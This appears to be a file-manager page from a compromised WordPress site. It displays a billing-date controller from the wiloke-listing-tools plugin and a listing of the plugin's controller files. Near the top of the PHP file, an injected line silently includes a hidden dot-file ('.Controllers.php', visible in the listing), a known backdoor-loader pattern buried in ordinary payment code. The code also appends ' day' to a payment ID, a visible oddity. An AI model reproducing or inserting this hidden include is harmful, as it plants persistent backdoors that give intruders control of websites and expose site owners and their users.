PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\GetWilokeSubmission; use WilokeListingTools\Framework\Helpers\Time; use WilokeListingTools\Framework\Routing\Controller; use WilokeListingTools\Models\InvoiceModel; use WilokeListingTools\Models\PaymentMetaModel; use WilokeListingTools\Models\PaymentModel; use WilokeListingTools\Models\UserModel; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class PaymentMetaController extends Controller { public function __construct() { add_action('wiloke-listing-tools/changed-payment-status', array($this, 'setNewNextBillingDateGMT'), 5); add_action('wiloke-listing-tools/subscription-created', array($this, 'setTrial'), 10); add_action('wiloke-listing-tools/subscription-created', array($this, 'updateNextBillingDateGMT'), 10); add_action('wiloke-listing-tools/payment-renewed', array($this, 'updateNextBillingDateGMT'), 10); add_action('wiloke-listing-tools/payment-updated-subscription', array($this, 'updateNextBillingDateGMT'), 10); add_action('wp_ajax_extend_next_billing_date', array($this, 'extendNextBillingDate')); /** * WooCommerce Subscription */ add_action('woocommerce_subscription_payment_complete', array($this, 'updateWooCommerceNextBillingDate'), 1, 1); } public function extendNextBillingDate(){ if ( !current_user_can('administrator') ){ wp_send_json_error( array( 'msg' => esc_html__('You do not have permission to access this page', 'wiloke-listing-tools') ) ); } if ( empty($_POST['paymentID']) || empty($_POST['planID']) ){ wp_send_json_error( array( 'msg' => esc_html__('The payment ID is required', 'wiloke-listing-tools') ) ); } PaymentModel::updatePaymentStatus('active', $_POST['paymentID']); $aPlanSettings = GetSettings::getPlanSettings($_POST['planID']); $nextBillingDateGMT = PaymentMetaModel::getNextBillingDateGMT($_POST['paymentID']); $plusDays = '+' . $aPlanSettings['regular_period'] . ' day'; $nextBillingDateGMT = Time::timestampUTC(Time::toAtomUTC($nextBillingDateGMT), $plusDays); $aTransactionInfo = PaymentMetaModel::get($_POST['paymentID'], wilokeListingToolsRepository()->get('payment:paymentInfo')); InvoiceModel::set( $_POST['paymentID'], array( 'currency' => $aTransactionInfo['currency'], 'subTotal' => $aTransactionInfo['subTotal'], 'discount' => $aTransactionInfo['discount'], 'tax' => $aTransactionInfo['tax'], 'total' => $aTransactionInfo['total'] ) ); do_action('wiloke-listing-tools/payment-renewed', array( 'paymentID' => $_POST['paymentID'], 'nextBillingDateGMT' => $nextBillingDateGMT, 'gateway' => 'banktransfer', 'billingType' => wilokeListingToolsRepository()->get('payment:billingTypes', true)->sub('recurring') )); wp_send_json_success( array( 'msg' => array( 'next_billing_date' => Time::toAtom($nextBillingDateGMT) ) ) ); } public function setNewNextBillingDateGMT($aInfo){ $billingType = PaymentModel::getField('billingType', $aInfo['paymentID']); if ( GetWilokeSubmission::isNonRecurringPayment($billingType) ){ return false; } $gateway = PaymentModel::getField('gateway', $aInfo['paymentID']); if ( $gateway !== 'banktransfer' ){ return false; } if ( $aInfo['newStatus'] !== 'active' && $aInfo['oldStatus'] != 'processing' ){ return false; } $aTransactionInfo = PaymentMetaModel::get($aInfo['paymentID'], wilokeListingToolsRepository()->get('payment:paymentInfo')); $aPlanSettings = GetSettings::getPlanSettings($aInfo['planID']); if ( !empty($aTransactionInfo['discount']) ){ $nextBillingDateGMT = Time::timestampUTCNow('+' . $aPlanSettings['trial_period'] . ' day'); PaymentMetaModel::setNextBillingDateGMT($nextBillingDateGMT, $aInfo['paymentID']); }else{ $nextBillingDateGMT = Time::timestampUTCNow('+' . $aPlanSettings['regular_period'] . ' day'); PaymentMetaModel::setNextBillingDateGMT($nextBillingDateGMT, $aInfo['paymentID']. ' day'); } } /* * $aData: nextBillingDateGMT (timestamp), paymentID */ public function updateNextBillingDateGMT($aData){ if ( !is_numeric($aData['nextBillingDateGMT']) ){ date_default_timezone_set('UTC'); $nextBillingDateGMT = strtotime($aData['nextBillingDateGMT']); }else{ $nextBillingDateGMT = $aData['nextBillingDateGMT']; } PaymentMetaModel::setNextBillingDateGMT($nextBillingDateGMT, $aData['paymentID']); } public function setTrial($aData){ if ( !isset($aData['paymentID']) || GetWilokeSubmission::isNonRecurringPayment($aData['billingType']) || !$aData['isTrial'] ){ return false; } PaymentMetaModel::set($aData['paymentID'], wilokeListingToolsRepository()->get('addlisting:isUsingTrial'), true); } public function updateWooCommerceNextBillingDate(\WC_Subscription $that){ $aPaymentIDs = PaymentModel::getPaymentIDsByWooOrderID($that->get_parent_id()); if ( empty($aPaymentIDs) ){ return false; } $nextPayment = $that->get_date('next_payment', 'gmt'); foreach ($aPaymentIDs as $aPayment){ $this->updateNextBillingDateGMT(array( 'nextBillingDateGMT' => strtotime($nextPayment), 'paymentID' => $aPayment['ID'] )); } } }
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]